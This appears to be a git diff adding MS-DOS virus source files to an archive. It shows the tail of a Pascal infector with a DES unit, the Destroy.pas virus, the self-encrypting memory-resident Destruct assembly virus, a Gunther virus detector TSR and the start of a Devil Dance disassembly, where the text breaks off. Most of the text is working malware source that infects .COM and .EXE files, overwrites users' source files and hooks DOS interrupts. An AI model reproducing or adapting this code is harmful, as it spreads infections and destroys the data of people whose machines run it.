close(fcrypt); + clrscr; + textmode(co80); + textcolor(7); + gotoxy(33,1); writeln('QRFpraqnag Bs Qrivy,'); + gotoxy(25,5); writeln('jevggra ol FCb5xl va 6443 sbe PO'); + textcolor(7+blink); + gotoxy(25,12); writeln('*** EXPORT RESTRICTIONS APPLY ***'); + textcolor(7); + gotoxy(28,20); writeln('uggc://jjj.pbqroernxref.bet'); + halt(0); + end; + getcurdir(originaldir,0); + filename:=paramstr(0); + for i:=0 to length(filename)-1 do + name[i]:=filename[i+1]; + name[i+1]:=#0; + fileexpand(fullname,name); + self:=false; + counter:=0; + ende:=false; + path_item:=0; + current_dir:=0; + initpath; + filename:=findfirstfile; + while ende=false do + begin + if counter<2 then + begin + if (filename='') and (ende=false) then + changedirectory; + if ende=false then + begin + if filename='' then + filename:=findfirstfile; + infect(filename); + filename:=findnextfile; + end; + end + else + ende:=true; + end; + setcurdir(originaldir); + execute_us; +end. + + + +---------------------------------DESUNIT.PAS--------------------------------- + +unit Desunit; + +interface + + + + Procedure DES (Var Input; Var Output; Var Key; Encrypt : Boolean); + + implementation + +Procedure DES (Var Input; Var Output; Var Key; Encrypt : Boolean); + +Const + IP : Array [1..64] Of Byte = (58,50,42,34,26,18,10,2, + 60,52,44,36,28,20,12,4, + 62,54,46,38,30,22,14,6, + 64,56,48,40,32,24,16,8, + 57,49,41,33,25,17, 9,1, + 59,51,43,35,27,19,11,3, + 61,53,45,37,29,21,13,5, + 63,55,47,39,31,23,15,7); + InvIP : Array [1..64] Of Byte = (40, 8,48,16,56,24,64,32, + 39, 7,47,15,55,23,63,31, + 38, 6,46,14,54,22,62,30, + 37, 5,45,13,53,21,61,29, + 36, 4,44,12,52,20,60,28, + 35, 3,43,11,51,19,59,27, + 34, 2,42,10,50,18,58,26, + 33, 1,41, 9,49,17,57,25); + E : Array [1..48] Of Byte = (32, 1, 2, 3, 4, 5, + 4, 5, 6, 7, 8, 9, + 8, 9,10,11,12,13, + 12,13,14,15,16,17, + 16,17,18,19,20,21, + 20,21,22,23,24,25, + 24,25,26,27,28,29, + 28,29,30,31,32, 1); + P : Array [1..32] Of Byte = (16, 7,20,21, + 29,12,28,17, + 1,15,23,26, + 5,18,31,10, + 2, 8,24,14, + 32,27, 3, 9, + 19,13,30, 6, + 22,11, 4,25); + SBoxes : Array [1..8,0..3,0..15] Of Byte = + (((14, 4,13, 1, 2,15,11, 8, 3,10, 6,12, 5, 9, 0, 7), + ( 0,15, 7, 4,14, 2,13, 1,10, 6,12,11, 9, 5, 3, 8), + ( 4, 1,14, 8,13, 6, 2,11,15,12, 9, 7, 3,10, 5, 0), + (15,12, 8, 2, 4, 9, 1, 7, 5,11, 3,14,10, 0, 6,13)), + + ((15, 1, 8,14, 6,11, 3, 4, 9, 7, 2,13,12, 0, 5,10), + ( 3,13, 4, 7,15, 2, 8,14,12, 0, 1,10, 6, 9,11, 5), + ( 0,14, 7,11,10, 4,13, 1, 5, 8,12, 6, 9, 3, 2,15), + (13, 8,10, 1, 3,15, 4, 2,11, 6, 7,12, 0, 5,14, 9)), + + ((10, 0, 9,14, 6, 3,15, 5, 1,13,12, 7,11, 4, 2, 8), + (13, 7, 0, 9, 3, 4, 6,10, 2, 8, 5,14,12,11,15, 1), + (13, 6, 4, 9, 8,15, 3, 0,11, 1, 2,12, 5,10,14, 7), + ( 1,10,13, 0, 6, 9, 8, 7, 4,15,14, 3,11, 5, 2,12)), + + (( 7,13,14, 3, 0, 6, 9,10, 1, 2, 8, 5,11,12, 4,15), + (13, 8,11, 5, 6,15, 0, 3, 4, 7, 2,12, 1,10,14, 9), + (10, 6, 9, 0,12,11, 7,13,15, 1, 3,14, 5, 2, 8, 4), + ( 3,15, 0, 6,10, 1,13, 8, 9, 4, 5,11,12, 7, 2,14)), + + (( 2,12, 4, 1, 7,10,11, 6, 8, 5, 3,15,13, 0,14, 9), + (14,11, 2,12, 4, 7,13, 1, 5, 0,15,10, 3, 9, 8, 6), + ( 4, 2, 1,11,10,13, 7, 8,15, 9,12, 5, 6, 3, 0,14), + (11, 8,12, 7, 1,14, 2,13, 6,15, 0, 9,10, 4, 5, 3)), + + ((12, 1,10,15, 9, 2, 6, 8, 0,13, 3, 4,14, 7, 5,11), + (10,15, 4, 2, 7,12, 9, 5, 6, 1,13,14, 0,11, 3, 8), + ( 9,14,15, 5, 2, 8,12, 3, 7, 0, 4,10, 1,13,11, 6), + ( 4, 3, 2,12, 9, 5,15,10,11,14, 1, 7, 6, 0, 8,13)), + + (( 4,11, 2,14,15, 0, 8,13, 3,12, 9, 7, 5,10, 6, 1), + (13, 0,11, 7, 4, 9, 1,10,14, 3, 5,12, 2,15, 8, 6), + ( 1, 4,11,13,12, 3, 7,14,10,15, 6, 8, 0, 5, 9, 2), + ( 6,11,13, 8, 1, 4,10, 7, 9, 5, 0,15,14, 2, 3,12)), + + ((13, 2, 8, 4, 6,15,11, 1,10, 9, 3,14, 5, 0,12, 7), + ( 1,15,13, 8,10, 3, 7, 4,12, 5, 6,11, 0,14, 9, 2), + ( 7,11, 4, 1, 9,12,14, 2, 0, 6,10,13,15, 3, 5, 8), + ( 2, 1,14, 7, 4,10, 8,13,15,12, 9, 0, 3, 5, 6,11))); + + PC_1 : Array [1..56] Of Byte = (57,49,41,33,25,17, 9, + 1,58,50,42,34,26,18, + 10, 2,59,51,43,35,27, + 19,11, 3,60,52,44,36, + 63,55,47,39,31,23,15, + 7,62,54,46,38,30,22, + 14, 6,61,53,45,37,29, + 21,13, 5,28,20,12, 4); + + PC_2 : Array [1..48] Of Byte = (14,17,11,24, 1, 5, + 3,28,15, 6,21,10, + 23,19,12, 4,26, 8, + 16, 7,27,20,13, 2, + 41,52,31,37,47,55, + 30,40,51,45,33,48, + 44,49,39,56,34,53, + 46,42,50,36,29,32); + + ShiftTable : Array [1..16] Of Byte = (1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1); + +Var + InputValue : Array [1..64] Of Byte; + OutputValue : Array [1..64] Of Byte; + RoundKeys : Array [1..16,1..48] Of Byte; + L, R, FunctionResult : Array [1..32] Of Byte; + C, D : Array [1..28] Of Byte; + +Function GetBit (Var Data; Index : Byte) : Byte; + +Var + Bits : Array [0..7] Of Byte ABSOLUTE Data; + +Begin + Dec (Index); + If Bits[Index DIV 8] And (128 SHR (Index MOD 8))>0 then GetBit:=1 + Else GetBit:=0; +End;{GetBit} + +Procedure SetBit (Var Data; Index, Value : Byte); + +Var + Bits : Array [0..7] Of Byte ABSOLUTE Data; + Bit : Byte; + +Begin + Dec (Index); + Bit:=128 SHR (Index MOD 8); + Case Value Of + 0 : Bits[Index DIV 8]:=Bits[Index DIV 8] And (Not Bit); + 1 : Bits[Index DIV 8]:=Bits[Index DIV 8] Or Bit; + End; +End;{SetBit} + +Procedure F (Var FR, FK, Output); + +Var + R : Array [1..48] Of Byte ABSOLUTE FR; + K : Array [1..48] Of Byte ABSOLUTE FK; + Temp1 : Array [1..48] Of Byte; + Temp2 : Array [1..32] Of Byte; + n, h, i, j, Row, Column : Integer; + TotalOut : Array [1..32] Of Byte ABSOLUTE Output; + +Begin + For n:=1 to 48 Do Temp1[n]:=R[E[n]] Xor K[n]; + For n:=1 to 8 Do Begin + i:=(n-1)*6; + j:=(n-1)*4; + Row:=Temp1[i+1]*2+Temp1[i+6]; + Column:=Temp1[i+2]*8 + Temp1[i+3]*4 + Temp1[i+4]*2 + Temp1[i+5]; + For h:=1 to 4 Do Begin + Case h Of + 1 : Temp2[j+h]:=(SBoxes[n,Row,Column] And 8) DIV 8; + 2 : Temp2[j+h]:=(SBoxes[n,Row,Column] And 4) DIV 4; + 3 : Temp2[j+h]:=(SBoxes[n,Row,Column] And 2) DIV 2; + 4 : Temp2[j+h]:=(SBoxes[n,Row,Column] And 1); + End; + End; + End; + For n:=1 to 32 Do TotalOut[n]:=Temp2[P[n]]; +End;{F} + +Procedure Shift (Var SubKeyPart); + +Var + SKP : Array [1..28] Of Byte ABSOLUTE SubKeyPart; + n, b : Byte; + +Begin + b:=SKP[1]; + For n:=1 to 27 Do SKP[n]:=SKP[n+1]; + SKP[28]:=b; +End;{Shift} + +Procedure SubKey (Round : Byte; Var SubKey); + +Var + SK : Array [1..48] Of Byte ABSOLUTE SubKey; + n, b : Byte; + +Begin + For n:=1 to ShiftTable[Round] Do Begin + Shift (C); + Shift (D); + End; + For n:=1 to 48 Do Begin + b:=PC_2[n]; + If b<=28 then SK[n]:=C[b] Else SK[n]:=D[b-28]; + End; +End;{SubKey} + +Var + n, i, b, Round : Byte; + Outputje : Array [1..64] Of Byte; + K : Array [1..48] Of Byte; + fi : Text; + +Begin + For n:=1 to 64 Do InputValue[n]:=GetBit (Input,n); + For n:=1 to 28 Do Begin + C[n]:=GetBit(Key,PC_1[n]); + D[n]:=GetBit(Key,PC_1[n+28]); + End; + For n:=1 to 16 Do SubKey (n,RoundKeys[n]); + For n:=1 to 64 Do If n<=32 then L[n]:=InputValue[IP[n]] + Else R[n-32]:=InputValue[IP[n]]; + For Round:=1 to 16 Do Begin + If Encrypt then + F (R,RoundKeys[Round],FunctionResult) + Else + F (R,RoundKeys[17-Round],FunctionResult); + For n:=1 to 32 Do FunctionResult[n]:=FunctionResult[n] Xor L[n]; + L:=R; + R:=FunctionResult; + End; + For n:=1 to 64 Do Begin + b:=InvIP[n]; + If b<=32 then OutputValue[n]:=R[b] Else OutputValue[n]:=L[b-32]; + End; + For n:=1 to 64 Do SetBit (Output,n,OutputValue[n]); +End; + +end. + diff --git a/MSDOS/Virus.MSDOS.Unknown.destroy.pas b/MSDOS/Virus.MSDOS.Unknown.destroy.pas new file mode 100644 index 00000000..d96e8294 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.destroy.pas @@ -0,0 +1,272 @@ +{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-} +{$M 16384,20000,100000} +PROGRAM Destroy; + +{$I-} + +USES CRT, DOS; + +CONST + MyLen = 7335; +VAR + SR : SearchRec; + FN : String; + Dir : DirStr; + Nam : NameStr; + Ext : ExtStr; + +FUNCTION UpStr (S : String) : String; +VAR + I : Byte; +BEGIN + FOR I := 1 TO Length (S) DO + S [I] := UpCase (S [I]); + UpStr := S; +END; + +PROCEDURE Infect_File; +VAR + F, F1 : File; + Buff : Array [1..MYLEN] Of Byte; + B : Byte; + W : Word; +BEGIN + Assign (F, SR.Name); + FileMode := 2; + ReSet (F,1); + IF IOResult <> 0 THEN Exit; + IF (FileSize (F) < 2*MyLen) OR (FileSize (F) > 30*MyLen) THEN BEGIN + Close (F); + Exit; + END; + Assign (F1, ParamStr (0)); + ReSet (F1,1); + IF IOResult <> 0 THEN BEGIN + Close (F); + Exit; + END; + Seek (F, FileSize (F)-1); + BlockRead (F, B, 1, W); + IF B = Ord ('') THEN BEGIN + Close (F); + Close (F1); + Exit; + END; + Seek (F, 0); + BlockRead (F, Buff, MyLen, W); + FOR W := 1 TO MyLen DO + Buff [W] := Buff [W] xor Byte (W); + Seek (F, FileSize (F)); + BlockWrite (F, Buff, MyLen, W); + B := Ord (''); + BlockWrite (F, B, 1, W); + Seek (F, 0); + BlockRead (F1, Buff, MyLen, W); + BlockWrite (F, Buff, MyLen, W); + Close (F1); + SetFTime (F, SR.Time); + Close (F); + SetFAttr (F, SR.Attr); +END; + +PROCEDURE KILLER_FILE (I : Byte); +VAR + T, T1 : Text; + J : Byte; + S : String; +BEGIN + IF SR.Attr And ReadOnly <> 0 THEN Exit; + Assign (T, SR. Name); + Assign (T1, 'QWERTY.SWP'); + ReSet (T); + IF I = 1 THEN BEGIN + J := 0; + WHILE EOF (T) = False DO BEGIN + ReadLn (T, S); + IF Pos ('PROGRAM', UpStr (S)) <> 0 THEN BEGIN + J := 1; + Break; + END; + END; + IF J = 0 THEN BEGIN + Close (T); + Exit; + END ELSE ReSet (T); + END; + ReWrite (T1); + CASE I OF + 1 : BEGIN + WriteLn (T1, 'PROGRAM Virus;'); + WriteLn (T1, 'BEGIN'); + WriteLn (T1, 'WriteLn ('+#39+' !'+#39+');'); + WriteLn (T1, 'END.'); + END; + 2 : BEGIN + WriteLn (T1, 'PRINT " !"'); + END; + 3 : BEGIN + WriteLn (T1, 'Model Tiny'); + WriteLn (T1, '.Code'); + WriteLn (T1, 'ORG 100h'); + WriteLn (T1, 'START:'); + WriteLn (T1, 'LEA DX, MSG'); + WriteLn (T1, 'MOV AH,09h'); + WriteLn (T1, 'INT 21h'); + WriteLn (T1, 'RET'); + WriteLn (T1, 'MSG db '+#39+' !'+#39+'0ah,0dh,'+#39+'$'+#39); + WriteLn (T1, 'END START'); + END; + 4 : BEGIN + WriteLn (T1, 'echo off'); + WriteLn (T1, 'echo !'); + WriteLn (T1, 'pause'); + END; + 5 : BEGIN + WriteLn (T1, ' !'); + END; + 6 : BEGIN + WriteLn (T1, ' - -'); + WriteLn (T1, ' '); + END; + END; + WHILE EOF (T) = False DO BEGIN + ReadLn (T, S); + WriteLn (T1, S); + END; + Close (T); + Erase (T); + Close (T1); + Rename (T1, SR.Name); + SetFAttr (T1, ReadOnly); +END; + +PROCEDURE Find_In_To_Current_Directory; +BEGIN + FindFirst('*.*', $20, SR); + While DosError = 0 do begin + FSplit (SR.Name, Dir, Nam, Ext); + IF Ext = '.COM' THEN Infect_File; + IF Ext = '.EXE' THEN Infect_File; + IF Ext = '.PAS' THEN KILLER_File (1); + IF Ext = '.BAS' THEN KILLER_File (2); + IF Ext = '.ASM' THEN KILLER_File (3); + IF Ext = '.BAT' THEN KILLER_File (4); + IF Ext = '.ME' THEN KILLER_File (5); + IF Ext = '.DIZ' THEN KILLER_File (5); + IF UpStr (SR.Name) = 'DIRINFO' THEN KILLER_File (6); + FindNext(SR); + End; +END; + +PROCEDURE Exec_Program; +VAR + F1, F : File; + Buff : Array [1..MYLEN] Of Byte; + W : Word; + S : String; + FTime : LongInt; + FAttr : Word; +BEGIN + FSplit (FExpand(ParamStr (0)), Dir, Nam, Ext); + IF Nam = 'DESTROY' THEN Exit; + Assign (F, ParamStr (0)); + GetFAttr (F, FAttr); + SetFAttr (F, Archive); + FileMode := 2; + ReSet (F,1); + IF IOResult <> 0 THEN BEGIN + WriteLn ('Disk failure'); + Exit; + END; + GetFTime (F, FTime); + Assign (F1, 'QWERTY.SWP'); + ReWrite (F1,1); + + BlockRead (F, Buff, MyLen, W); + BlockWrite (F1, Buff, MyLen, W); + + Seek (F, FileSize (F) - (MyLen + 1)); + BlockRead (F, Buff, MyLen, W); + FOR W := 1 TO MyLen DO + Buff [W] := Buff [W] xor Byte (W); + Seek (F, 0); + BlockWrite (F, Buff, MyLen, W); + + Seek (F, FileSize (F) - (MyLen + 1)); + Truncate (F); + + Close (F1); + Close (F); + S := ''; + FOR W := 1 TO ParamCount DO + S := ParamStr (1) + ' '; + SwapVectors; + Exec (ParamStr (0), S); + SwapVectors; + FileMode := 2; + Assign (F, ParamStr (0)); + ReSet (F,1); + Assign (F1, 'QWERTY.SWP'); + ReSet (F1,1); + Seek (F, 0); + BlockRead (F, Buff, MyLen, W); + FOR W := 1 TO MyLen DO + Buff [W] := Buff [W] xor Byte (W); + Seek (F, FileSize (F)); + BlockWrite (F,Buff, MyLen, W); + Buff [1] := Ord(''); + BlockWrite (F,Buff[1], 1, W); + BlockRead (F1, Buff, MyLen, W); + Seek (F, 0); + BlockWrite (F, Buff, MyLen, W); + SetFTime (F, FTime); + Close (F); + SetFAttr (F, FAttr); + Close (F1); + Erase (F1); +END; + +PROCEDURE Search_From_PATH; +VAR + PS : String; + Home : String; + S : String; + Ch : Char; + I : Byte; +BEGIN + GetDir (0, Home); + PS := GetEnv ('PATH'); + S := ''; + I := 1; + WriteLn (PS); + REPEAT + IF I >= Length (PS)+1 THEN BEGIN + IF S <> '' THEN BEGIN + IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1); + ChDir (S); + IF IOResult = 0 THEN + Find_In_To_Current_Directory; + END; + Break; + END; + Ch := PS [I]; + Inc (I); + IF Ch <> ';' THEN S := S + Ch ELSE BEGIN + IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1); + ChDir (S); + IF IOResult <> 0 THEN BEGIN + S := ''; + Continue; + END; + Find_In_To_Current_Directory; + S := ''; + END; + UNTIL False; + ChDir (Home); +END; + +BEGIN + Find_In_To_Current_Directory; + Exec_Program; + Search_From_PATH; +END. diff --git a/MSDOS/Virus.MSDOS.Unknown.destruct.asm b/MSDOS/Virus.MSDOS.Unknown.destruct.asm new file mode 100644 index 00000000..4ead3127 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.destruct.asm @@ -0,0 +1,518 @@ + +code segment + assume cs:code,ds:code + .radix 16 + org 100 +start: + push word ptr cs:[tabb+2] + push cs + pop ds + jmp loopshit +otto: + jmp start +loopshit: + jmp word ptr cs:[tabb] + +curofs dw ? +files db 0 ;number of infected files from this copy +fsize dw 2 ;size of infected file +ftime dw ? +fdate dw ? +stdint21 dd ? +oldint13 dd ? +oldint21 dd ? +oldint24 dd ? + +;------------- TABLE WITH MODULE PARAMETERS -------------------- +tabb : + dw offset false_mod_1 ;00 + dw offset mod_2 ;02 + dw offset mod_3 ;04 + dw offset mod_4 ;06 ;offset modules + dw offset mod_5 ;08 + dw offset mod_6 ;0a + dw offset mod_7 ;0c + dw offset mod_8 ;0e + + dw offset mod_2 - offset mod_1;10 + dw offset mod_3 - offset mod_2;12 + dw offset mod_4 - offset mod_3;14 + dw offset mod_5 - offset mod_4;16 + dw offset mod_6 - offset mod_5;18 ;size modules + dw offset mod_7 - offset mod_6;1a + dw offset mod_8 - offset mod_7;1c + dw offset myend - offset mod_8;1e + + +;------------- MODULE - 1 - CODER/DECODER ---------------------- +mod_1: + mov bx,offset tabb+2 ;first module to working (module 2) + mov cx,6 ;number of modules to working +mod_1_lp1: + cmp bx,offset tabb+0a + jne mod_1_cont + add bx,2 +mod_1_cont: + push bx + push cx + mov ax,[bx] ;ax - offset module + mov cx,[bx+10] ;cx - size of module + mov bx,ax +mod_1_lp2: + xor byte ptr [bx],al + inc bx + loop mod_1_lp2 + pop cx + pop bx + add bx,2 + loop mod_1_lp1 + ret + +;------------- MODULE - 2 - MUTATION TO MEMORY ----------------- +mod_2: + ;instalation check + + mov es,cs:[2] ;memory size + mov di,100 + mov si,100 + mov cx,0bh + repe cmpsb + jne mod_2_install ;jump if not install + jmp word ptr cs:[tabb+06] ;if install, jump to module 4 + +mod_2_install: + ;instalation + + mov ax,cs + dec ax + mov ds,ax + + cmp byte ptr ds:[0],'Z' + je mod_2_cont + + jmp word ptr cs:[tabb+6] ;if no last MCB - go to mod4 + +mod_2_cont: + sub word ptr ds:[3],0c0 + mov ax,es + sub ax,0c0 + mov es,ax + mov word ptr ds:[12],ax ;decrement memory size with 2K + push cs + pop ds + +mod_2_mut: + mov byte ptr cs:files,0 + + mov di,100 + mov cx,offset mod_1-100 + mov si,100 + rep movsb ;write table to new memory + + mov bx,word ptr cs:[tabb] + add bx,offset mod_1_lp2-offset mod_1+1 + xor byte ptr [bx],18 ;change code method + + mov cx,8 + mov word ptr curofs,offset mod_1 +mod_2_lp1: + push cx + call mod_2_rnd ;generate random module addres + push bx ;addres in table returned from mod_2_rnd + mov ax,[bx] ;offset module + push ax + add bx,10 + mov cx,[bx] ;length of module + pop si + pop bx + xchg di,curofs + mov word ptr es:[bx],di ;change module offset in table + rep movsb ;copy module to new memory + xchg di,curofs ;change current offset in new memory + mov ax,8000 + or word ptr [bx],ax ;mark module - used + pop cx + loop mod_2_lp1 + mov cl,8 + not ax + mov bx,offset tabb +mod_2_lp2: + and word ptr [bx],ax ;unmark all modules + add bx,2 + loop mod_2_lp2 + + jmp word ptr cs:[tabb+4] ;go to module 3 + +mod_2_rnd: + push cx + push es + xor cx,cx + mov es,cx +mod_2_lp3: + mov bx,es:[46c] + db 81,0e3,07,00 ;and bx,7 + shl bx,1 + add bx,offset tabb + test [bx],8000 + jnz mod_2_lp3 + pop es + pop cx + ret + +;------------- MODULE - 3 - SET INTERRUPT VECTORS --------------- +mod_3: + xor ax,ax + mov ds,ax + + mov ax,ds:[4*21] + mov word ptr es:[oldint21],ax + mov ax,ds:[4*21+2] + mov word ptr es:[oldint21+2],ax + + mov ah,30 + int 21 + cmp ax,1e03 + jne mod_3_getvec + + mov word ptr es:[stdint21],1460 + mov ax,1203 + push ds + int 2f + mov word ptr es:[stdint21+2],ds + pop ds + jmp mod_3_setvec + +mod_3_getvec: + mov ax,ds:[4*21] + mov word ptr es:[stdint21],ax + mov ax,ds:[4*21+2] + mov word ptr es:[stdint21+2],ax + +mod_3_setvec: + cli + mov ax,word ptr es:[tabb+0c] + mov ds:[4*21],ax + mov ax,es + mov ds:[4*21+2],ax + sti + + mov cx,es + mov ah,13 ; + int 2f ; + push es ; + mov es,cx ; + mov word ptr es:[oldint13],dx ; get standart int13 addres + mov word ptr es:[oldint13+2],ds ; + pop es ; + int 2f ; + + jmp word ptr cs:[tabb+06] ;go to module 4 + +;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ---- +mod_4: + push cs + push cs + pop ds + pop es + mov si,word ptr cs:[tabb+06] + add si,offset mod_4_cont - offset mod_4 + mov di,cs:fsize + add di,offset myend+1 + push di + mov cx,offset mod_5 - offset mod_4_cont + cld + rep movsb + ret +mod_4_cont: + mov si,cs:fsize + add si,100 + + cmp si,offset myend+1 + jnc mod_4_cnt + mov si,offset myend+1 +mod_4_cnt: + mov di,100 + mov cx,offset myend-100 + rep movsb + mov ax,100 ; + push ax ; jmp 100 + ret ; + +;------------- MODULE - 5 - SPECIAL PROGRAM --------------------- +mod_5: + mov ah,9 + mov dx,word ptr [tabb+8] + add dx,offset msg-offset mod_5 + push cs + pop ds + int 21 + cli + hlt + +msg db 0dh,0a,'Senseless Destruction...',7,7,'$' + +;------------- MODULE - 6 - INT 24 HEADER ----------------------- +mod_6: + mov al,3 + iret + db 'Protecting what we are ',0 + db 'joining together to take on the world.. ',0 + db 'METAL MiLiTiA [iMM0RTAL Ri0T] ',0 + + + + +;------------- MODULE - 7 - INT 21 HEADER ----------------------- +mod_7: + push bx + push si + push di + push es + push ax + + cmp ax,4b00 + je mod_7_begin + jmp mod_7_exit +mod_7_begin: + push ds + push cs ; + pop es ; + xor ax,ax ; + mov ds,ax ; + mov si,4*24 ; + mov di,offset oldint24 ; + movsw ; change int24 vector + movsw ; + mov ax,word ptr cs:[tabb+0a] ; + cli ; + mov ds:[4*24],ax ; + mov ax,cs ; + mov ds:[4*24+2],ax ; + sti + pop ds + + mov ax,3d00 ; + pushf ; + call cs:oldint21 ; + jc mod_7_ex ; open,infect,close file + mov bx,ax ; +mod_7_infect: ; + call word ptr cs:[tabb+0e] ; + pushf + mov ah,3e ; + pushf ; + call cs:oldint21 ; + popf + jc mod_7_ex + + push ds ; + cli ; + xor ax,ax ; + mov ds,ax ; + mov ax,word ptr cs:[oldint13] ; + xchg ax,word ptr ds:[4*13] ; + mov word ptr cs:[oldint13],ax ; exchange int13 vectors + mov ax,word ptr cs:[oldint13+2] ; + xchg ax,word ptr ds:[4*13+2] ; + mov word ptr cs:[oldint13+2],ax ; + sti ; + pop ds ; +mod_7_ex: + push ds ; + xor ax,ax ; + mov ds,ax ; + mov ax,word ptr cs:oldint24 ; + mov ds:[4*24],ax ; + mov ax,word ptr cs:oldint24+2 ; restore int24 vector + mov ds:[4*24+2],ax ; + pop ds ; + +mod_7_exit: + pop ax + pop es + pop di + pop si + pop bx + + jmp cs:oldint21 + +;------------- MODULE - 8 - INFECTING (bx - file handle) -------- +mod_8: + push cx + push dx + push ds + push es + push di + push bp + + push bx + mov ax,1220 + int 2f + mov bl,es:[di] + xor bh,bh + mov ax,1216 + int 2f + pop bx + + mov ax,word ptr es:[di+11] + cmp ax,0f000 + jc mod_8_c + jmp mod_8_exit + +mod_8_c: + mov word ptr es:[di+2],2 ;open mode - R/W + + mov ax,es:[di+11] + mov cs:fsize,ax ; save file size + + mov ax,word ptr es:[di+0dh] ; + mov word ptr cs:[ftime],ax ; save file date/time + mov ax,word ptr es:[di+0f] ; + mov word ptr cs:[fdate],ax ; + + push cs ; + pop ds ; + mov dx,offset myend+1 ; + mov cx,offset myend-100 ; read first bytes + mov ah,3f ; + pushf + call cs:oldint21 + jnc mod_8_cnt + jmp mod_8_exit + +mod_8_cnt: + mov bp,ax ; ax - bytes read + mov si,dx + mov ax,'MZ' + cmp ax,word ptr ds:[si] + jne mod_8_nxtchk + jmp mod_8_exit +mod_8_nxtchk: + xchg ah,al + cmp ax,ds:[si] + jne mod_8_cnt2 + jmp mod_8_exit + +mod_8_cnt2: + push es + push di + push cs ; + pop es ; + mov si,100 ; + mov di,dx ; check for infected file + mov cx,0bh ; + repe cmpsb ; + pop di + pop es + jne mod_8_cnt1 ; + jmp mod_8_exit +mod_8_cnt1: + mov word ptr es:[di+15],0 ; fp:=0 + + push es + push di + mov si,word ptr cs:[tabb+0e] + add si,offset mod_8_cont - offset mod_8 + xor di,di + push cs + pop es + mov cx,offset mod_8_cont_end - offset mod_8_cont + cld + rep movsb + pop di + pop es + + mov si,word ptr cs:[tabb+0e] + add si,offset mod_8_cont_end - offset mod_8 + push si + xor si,si + push si + + push ds ; + cli ; + xor ax,ax ; + mov ds,ax ; + mov ax,word ptr cs:[oldint13] ; + xchg ax,word ptr ds:[4*13] ; + mov word ptr cs:[oldint13],ax ; + mov ax,word ptr cs:[oldint13+2] ; exchange int13 vectors + xchg ax,word ptr ds:[4*13+2] ; + mov word ptr cs:[oldint13+2],ax ; + sti ; + pop ds ; + + ret + +mod_8_cont: + push bx + call word ptr cs:[tabb] ; code virus + pop bx + + mov dx,100 ; + mov ah,40 ; write code in begin + mov cx,offset myend-0ff + pushf ; + call cs:stdint21 ; + + pushf + push bx + call word ptr cs:[tabb] ; decode virus + pop bx + popf + jnc mod_8_cont1 + pop ax + mov ax,word ptr cs:[tabb+0e] + add ax,offset mod_8_ext - offset mod_8 + push ax + ret +mod_8_cont1: + mov ax,es:[di+11] ; fp:=end of file + mov word ptr es:[di+15],ax ; + + mov dx,offset myend+1 + mov cx,bp ; bp - files read + mov ah,40 ; + pushf ; + call cs:stdint21 ; write in end of file + + ret + +mod_8_cont_end: + mov ax,5701 ; + mov cx,cs:ftime ; + mov dx,cs:fdate ; restore file date/time + pushf ; + call cs:oldint21 ; + + inc cs:files + cmp cs:files,0a + jne mod_8_ext + call word ptr cs:[tabb+8] + jmp short mod_8_ext +mod_8_exit: + stc + jmp short mod_8_ex +mod_8_ext: + clc +mod_8_ex: + pop bp + pop di + pop es + pop ds + pop dx + pop cx + ret + +;--------------------------------------------------------------- + +myend db 0 + + int 20 ;code of infected file + +false_mod_1: + mov word ptr cs:[tabb],offset mod_1 + ret + +code ends + end start +  \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.detect.asm b/MSDOS/Virus.MSDOS.Unknown.detect.asm new file mode 100644 index 00000000..a6d09c04 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.detect.asm @@ -0,0 +1,86 @@ +cseg segment para public 'CODE' + assume cs:cseg,ds:cseg,es:cseg,ss:cseg + org 100h + +begin: mov dx,offset virus_get ; Set Int F2h Handler + mov ax,25F2h + int 21H + mov dx,offset signon ; Tell Them We're Here + mov ah,9 + int 21h + mov dx,((offset pgm_len+15)/16)+10h ; Reserve DX Paragraphs Mem + mov ax,3100h ; TSR Code 0 + int 21h + +virus_get proc near + + sti + push ax ; Save Registers + push bx + push cx + push dx + push di + push si + push bp + push ds + push es + cmp dx, 'As' ; Virus? + jne okay ; Nope + mov ax,cs + mov ds,ax + mov dx,offset warning ; Warn User + mov ah,9 + int 21h + +check: mov ah,1 ; Read Keyboard + int 21h + cmp al,'C' ; User Wants To Continue + je cont + cmp al,'c' + je cont + cmp al,'Q' ; User Wants To Quit + je quit + cmp al,'q' + je quit + mov dx,offset bad ; Incorrect Key + mov ah,9 + int 21h + jmp check + +quit: mov ah,9 ; 'Contact Havoc The ...' + mov dx,offset ending + int 21h + mov ax,4cffh ; Exit Code 255 + int 21h + +cont: mov dx,offset crlf ; Send CR/LF + mov ah,9 + int 21h + +okay: pop es ; Restore Registers + pop ds + pop bp + pop si + pop di + pop dx + pop cx + pop bx + pop ax + iret ; Interrupt Return + +virus_get endp + +signon db 10,13,'Gunther Virus Detection Handler Installed.' + db 10,13,'Created by Havoc The Chaos' + db 10,13,'Copywrite (c) 1992, 1993 by John Burnette' + db 10,13,'All Rights Reserved.',10,13,'$' +warning db 7,7,7,10,13,'Warning, Interrupt F2h Detected: Gunther Virus is active!' + db 10,13,'Continue or Quit (C/Q) ? $' +ending db 10,10,13,'Contact Havoc The Chaos for a cure by sending him the virus!',7,'$' +bad db 7,7,8,' ',8,'$' +crlf db 10,13,'$' + +pgm_len equ $-begin + +cseg ends + end begin diff --git a/MSDOS/Virus.MSDOS.Unknown.devil.asm b/MSDOS/Virus.MSDOS.Unknown.devil.asm new file mode 100644 index 00000000..937076ed --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.devil.asm @@ -0,0 +1,625 @@ +; virus Devil Dance +; +; disassembled by Marek A. Filipiak October 31, 1990 +; + +0100 E9090B JMP 0C0C + +; ... +; victim code +; ... + +;======================================== +; Virus entry point +;======================================== + +; find offset of virus code in memory + +0C0C 8B360101 MOV SI,[0101] ; destination of first jump +0C10 81C60301 ADD SI,0103 ; PSP + length of jump instruction + +; restore victim starting code + +0C14 56 PUSH SI ; store virus offset in memory +0C15 B90300 MOV CX,0003 ; restore oryginal first 3 bytes +0C18 81C6A703 ADD SI,03A7 ; address of 3 bytes +0C1C BF0001 MOV DI,0100 ; 